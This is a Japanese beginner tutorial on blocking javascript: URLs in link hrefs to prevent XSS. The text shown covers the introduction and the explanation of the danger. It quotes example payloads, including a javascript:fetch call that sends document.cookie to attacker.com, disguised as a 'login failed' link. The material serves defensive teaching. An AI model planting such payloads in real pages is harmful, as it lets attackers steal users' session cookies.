- 「javascript: URLを拒否する」は“リンクからのコード実行”を根本的に封じるためのセキュリティガードです
- javascript: URLが危険な理由を具体的にイメージする
- ステップ1:URLをパースして“スキーム”を確認する
- ステップ2:javascript: スキームを明示的に拒否する(最重要)
- ステップ3:安全なスキームだけを許可する(ホワイトリスト方式)
- ステップ4:文字列URLに対して「javascript: を拒否する」関数を作る
- ステップ5:リンク生成時に必ず検証を挟む(実務での使い方)
- ステップ6:javascript: URLを拒否するユーティリティ(業務用まとめ版)
- ステップ7:javascript: を拒否することがXSS対策にどう効いてくるか
- まとめ:javascript: URLを拒否することは「リンクからのコード実行を根本的に封じる防御線」
「javascript: URLを拒否する」は“リンクからのコード実行”を根本的に封じるためのセキュリティガードです
業務システムで URL を扱うときに、必ず意識してほしい危険な存在が javascript: URL です。
javascript: URL とは、例えば次のようなものです。
javascript:alert('XSS');
javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie);
これを <a href="javascript:..."> のようにリンクとして扱うと、 ユーザーがクリックした瞬間に ブラウザ上で任意のJavaScriptコードが実行されてしまいます。
つまり、リンクでありながら「コードの実行トリガー」になってしまうため、 XSS攻撃の入り口として非常に危険です。
ここでは、初心者向けに、 「何が危険なのか」→「どうやって拒否するのか」→「実務で使えるユーティリティ」 という流れでステップバイステップで解説していきます。
javascript: URLが危険な理由を具体的にイメージする
例:コメント欄に仕込まれた攻撃
ユーザーが次のようなコメントを投稿したとします。
<a href="javascript:alert('攻撃');">クリックしてください</a>
これをそのまま画面に表示すると、 他のユーザーがクリックした瞬間に alert('攻撃') が実行されます。
もっと悪意のある例では、次のようなコードもありえます。
<a href="javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)">ログインに失敗した場合はこちら</a>
これをクリックすると、 ユーザーのクッキー情報が攻撃者のサーバーへ送信されてしまいます。
結論
「href に javascript: を許してはいけない」 これが、業務システムにおける基本方針です。
